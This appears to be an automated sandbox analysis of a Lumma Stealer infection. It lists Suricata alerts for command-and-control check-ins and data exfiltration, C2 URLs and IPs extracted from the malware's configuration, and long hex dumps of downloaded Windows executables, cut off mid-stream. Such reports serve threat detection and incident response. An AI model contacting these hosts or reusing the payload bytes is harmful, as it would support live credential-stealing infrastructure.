Source: Network traffic	Suricata IDS: 2843864 - Severity 1 - ETPRO MALWARE Suspicious Zipped Filename in Outbound POST Request (screen.) M2 : 192.168.2.4:62566 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:62692 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:62605 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.4:62707 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:62707 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2048094 - Severity 1 - ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration : 192.168.2.4:62712 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.4:62705 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:62705 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.4:62507 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:62507 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2843864 - Severity 1 - ETPRO MALWARE Suspicious Zipped Filename in Outbound POST Request (screen.) M2 : 192.168.2.4:62688 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.4:62597 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:62597 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.4:62608 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:62608 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:62744 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2843864 - Severity 1 - ETPRO MALWARE Suspicious Zipped Filename in Outbound POST Request (screen.) M2 : 192.168.2.4:62742 -> 188.114.97.3:443

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor	URLs: http://185.215.113.206/c4becf79229cb002.php
Source: Malware configuration extractor	URLs: peepburry828.sbs
Source: Malware configuration extractor	URLs: 3xp3cts1aim.sbs
Source: Malware configuration extractor	URLs: processhol.sbs
Source: Malware configuration extractor	URLs: p10tgrace.sbs
Source: Malware configuration extractor	URLs: p3ar11fter.sbs
Source: Malware configuration extractor	IPs: 185.215.113.43

Source: unknown

Network traffic detected: DNS query count 37

Source: global traffic	TCP traffic: 192.168.2.4:62352 -> 1.1.1.1:53
Source: global traffic	TCP traffic: 192.168.2.4:63486 -> 1.1.1.1:53

Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Wed, 20 Nov 2024 03:08:09 GMTContent-Type: application/octet-streamContent-Length: 4370944Last-Modified: Wed, 20 Nov 2024 01:42:36 GMTConnection: keep-aliveETag: "673d3e8c-42b200"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 e9 85 3c 67 00 00 00 00 00 00 00 00 e0 00 0e 03 0b 01 02 28 00 fc 49 00 00 96 73 00 00 32 00 00 00 10 c4 00 00 10 00 00 00 10 4a 00 00 00 40 00 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 40 c4 00 00 04 00 00 58 9b 43 00 02 00 40 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 5f 00 71 00 73 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 44 fe c3 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f4 fd c3 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 e0 70 00 00 10 00 00 00 78 27 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 20 20 20 00 10 00 00 00 f0 70 00 00 00 00 00 00 88 27 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 00 71 00 00 02 00 00 00 88 27 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 f0 37 00 00 10 71 00 00 02 00 00 00 8a 27 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 61 72 63 62 6f 6a 61 7a 00 00 1b 00 00 00 a9 00 00 00 1b 00 00 8c 27 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 67 75 64 74 63 6d 67 67 00 10 00 00 00 00 c4 00 00 04 00 00 00 8c 42 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 10 c4 00 00 22 00 00 00 90 42 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Wed, 20 Nov 2024 03:08:16 GMTContent-Type: application/octet-streamContent-Length: 1865216Last-Modified: Wed, 20 Nov 2024 02:18:20 GMTConnection: keep-aliveETag: "673d46ec-1c7600"Accept-Ranges: bytesData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 e6 72 3b 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 00 00 10 04 00 00 ba 00 00 00 00 00 00 00 e0 49 00 00 10 00 00 00 00 00 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 10 4a 00 00 04 00 00 c0 14 1d 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 5c 70 05 00 70 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 71 05 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 50 05 00 00 10 00 00 00 5e 02 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 20 20 20 00 10 00 00 00 60 05 00 00 00 00 00 00 6e 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 70 05 00 00 02 00 00 00 6e 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 70 2a 00 00 80 05 00 00 02 00 00 00 70 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 73 61 69 78 68 76 61 6f 00 e0 19 00 00 f0 2f 00 00 dc 19 00 00 72 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 63 67 76 75 6d 76 64 76 00 10 00 00 00 d0 49 00 00 06 00 00 00 4e 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 e0 49 00 00 22 00 00 00 54 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Wed, 20 Nov 2024 03:08:22 GMTContent-Type: application/octet-streamContent-Length: 1801728Last-Modified: Wed, 20 Nov 2024 02:18:27 GMTConnection: keep-aliveETag: "673d46f3-1b7e00"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 ce ac e2 38 8a cd 8c 6b 8a cd 8c 6b 8a cd 8c 6b e5 bb 27 6b 92 cd 8c 6b e5 bb 12 6b 87 cd 8c 6b e5 bb 26 6b b0 cd 8c 6b 83 b5 0f 6b 89 cd 8c 6b 83 b5 1f 6b 88 cd 8c 6b 0a b4 8d 6a 89 cd 8c 6b 8a cd 8d 6b d1 cd 8c 6b e5 bb 23 6b 98 cd 8c 6b e5 bb 11 6b 8b cd 8c 6b 52 69 63 68 8a cd 8c 6b 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 4f c3 2f 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 96 02 00 00 22 01 00 00 00 00 00 00 20 69 00 00 10 00 00 00 b0 02 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 50 69 00 00 04 00 00 a7 41 1c 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 4d b0 24 00 61 00 00 00 00 a0 24 00 ac 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 b1 24 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 90 24 00 00 10 00 00 00 62 01 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 ac 01 00 00 00 a0 24 00 00 02 00 00 00 72 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 b0 24 00 00 02 00 00 00 74 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 70 2a 00 00 c0 24 00 00 02 00 00 00 76 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 62 76 6b 7a 73 63 6b 70 00 e0 19 00 00 30 4f 00 00 e0 19 00 00 78 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 77 70 78 6c 7a 68 65 77 00 10 00 00 00 10 69 00 00 04 00 00 00 58 1b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 20 69 00 00 22 00 00 00 5c 1b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Wed, 20 Nov 2024 03:08:28 GMTContent-Type: application/octet-streamContent-Length: 922112Last-Modified: Wed, 20 Nov 2024 02:16:34 GMTConnection: keep-aliveETag: "673d4682-e1200"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 9a c7 83 ae de a6 ed fd de a6 ed fd de a6 ed fd 6a 3a 1c fd fd a6 ed fd 6a 3a 1e fd 43 a6 ed fd 6a 3a 1f fd fd a6 ed fd 40 06 2a fd df a6 ed fd 8c ce e8 fc f3 a6 ed fd 8c ce e9 fc cc a6 ed fd 8c ce ee fc cb a6 ed fd d7 de 6e fd d7 a6 ed fd d7 de 7e fd fb a6 ed fd de a6 ec fd f7 a4 ed fd 7b cf e3 fc 8e a6 ed fd 7b cf ee fc df a6 ed fd 7b cf 12 fd df a6 ed fd de a6 7a fd df a6 ed fd 7b cf ef fc df a6 ed fd 52 69 63 68 de a6 ed fd 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 7a 46 3d 67 00 00 00 00 00 00 00 00 e0 00 22 01 0b 01 0e 10 00 ac 09 00 00 62 04 00 00 00 00 00 77 05 02 00 00 10 00 00 00 c0 09 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 70 0e 00 00 04 00 00 67 b2 0e 00 02 00 40 80 00 00 40 00 00 10 00 00 00 00 40 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 64 8e 0c 00 7c 01 00 00 00 40 0d 00 bc a7 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f0 0d 00 94 75 00 00 f0 0f 0b 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 34 0c 00 18 00 00 00 10 10 0b 00 40 00 00 00 00 00 00 00 00 00 00 00 00 c0 09 00 94 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 1d ab 09 00 00 10 00 00 00 ac 09 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 82 fb 02 00 00 c0 09 00 00 fc 02 00 00 b0 09 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 6c 70 00 00 00 c0 0c 00 00 48 00 00 00 ac 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 bc a7 00 00 00 40 0d 00 00 a8 00 00 00 f4 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 94 75 00 00 00 f0 0d 00 00 76 00 00 00 9c 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Wed, 20 Nov 2024 03:08:29 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 11:30:30 GMTETag: "10e436-5e7ec6832a180"Accept-Ranges: bytesContent-Length: 1106998Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 12 00 d7 dd 15 63 00 92 0e 00 bf 13 00 00 e0 00 06 21 0b 01 02 19 00 26 0b 00 00 16 0d 00 00 0a 00 00 00 14 00 00 00 10 00 00 00 40 0b 00 00 00 e0 61 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 30 0f 00 00 06 00 00 1c 3a 11 00 03 00 00 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 d0 0c 00 88 2a 00 00 00 00 0d 00 d0 0c 00 00 00 30 0d 00 a8 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 0d 00 18 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 20 0d 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0c 02 0d 00 d0 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 84 25 0b 00 00 10 00 00 00 26 0b 00 00 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 00 50 60 2e 64 61 74 61 00 00 00 7c 27 00 00 00 40 0b 00 00 28 00 00 00 2c 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 60 c0 2e 72 64 61 74 61 00 00 70 44 01 00 00 70 0b 00 00 46 01 00 00 54 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 60 40 2e 62 73 73 00 00 00 00 28 08 00 00 00 c0 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 60 c0 2e 65 64 61 74 61 00 00 88 2a 00 00 00 d0 0c 00 00 2c 00 00 00 9a 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 40 2e 69 64 61 74 61 00 00 d0 0c 00 00 00 00 0d 00 00 0e 00 00 00 c6 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 43 52 54 00 00 00 00 2c 00 00 00 00 10 0d 00 00 02 00 00 00 d4 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 74 6c 73 00 00 00 00 20 00 00 00 00 20 0d 00 00 02 00 00 00 d6 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 72 73 72 63 00 00 00 a8 04 00 00 00 30 0d 00 00 06 00 00 00 d8 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 72 65 6c 6f 63 00 00 18 3c 00 00 00 40 0d 00 00 3e 00 00 00 de 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 42 2f 34 00 00 00 00 00 00 38 05 00 00 00 80 0d 00 00 06 00 00 00 1c 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 40 42 2f 31 39 00 00 00 00 00 52 c8 00 00 00 90 0d 00 00 ca 00 00 00 22 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 33 31 00 00 00 00 00 5d 27 00 00 00 60 0e 00 00 28 00 00 00 ec 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 34 35 00 00 00 00 00 9a 2d 00 00 00 90 0e 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Wed, 20 Nov 2024 03:08:32 GMTContent-Type: application/octet-streamContent-Length: 2847744Last-Modified: Wed, 20 Nov 2024 02:17:01 GMTConnection: keep-aliveETag: "673d469d-2b7400"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 e0 2b 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 20 2c 00 00 04 00 00 1f 25 2c 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 9c 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 40 00 00 00 20 00 00 00 12 00 00 00 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 9c 05 00 00 00 60 00 00 00 06 00 00 00 32 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 20 00 00 00 80 00 00 00 02 00 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 6a 77 61 73 65 79 6d 67 00 20 2b 00 00 a0 00 00 00 14 2b 00 00 3a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 72 65 6b 73 72 72 6d 76 00 20 00 00 00 c0 2b 00 00 04 00 00 00 4e 2b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 40 00 00 00 e0 2b 00 00 22 00 00 00 52 2b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Wed, 20 Nov 2024 03:08:35 GMTContent-Type: application/octet-streamContent-Length: 2847744Last-Modified: Wed, 20 Nov 2024 02:17:05 GMTConnection: keep-aliveETag: "673d46a1-2b7400"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 e0 2b 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 20 2c 00 00 04 00 00 1f 25 2c 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 9c 05 00 00 00 00 00 00 00 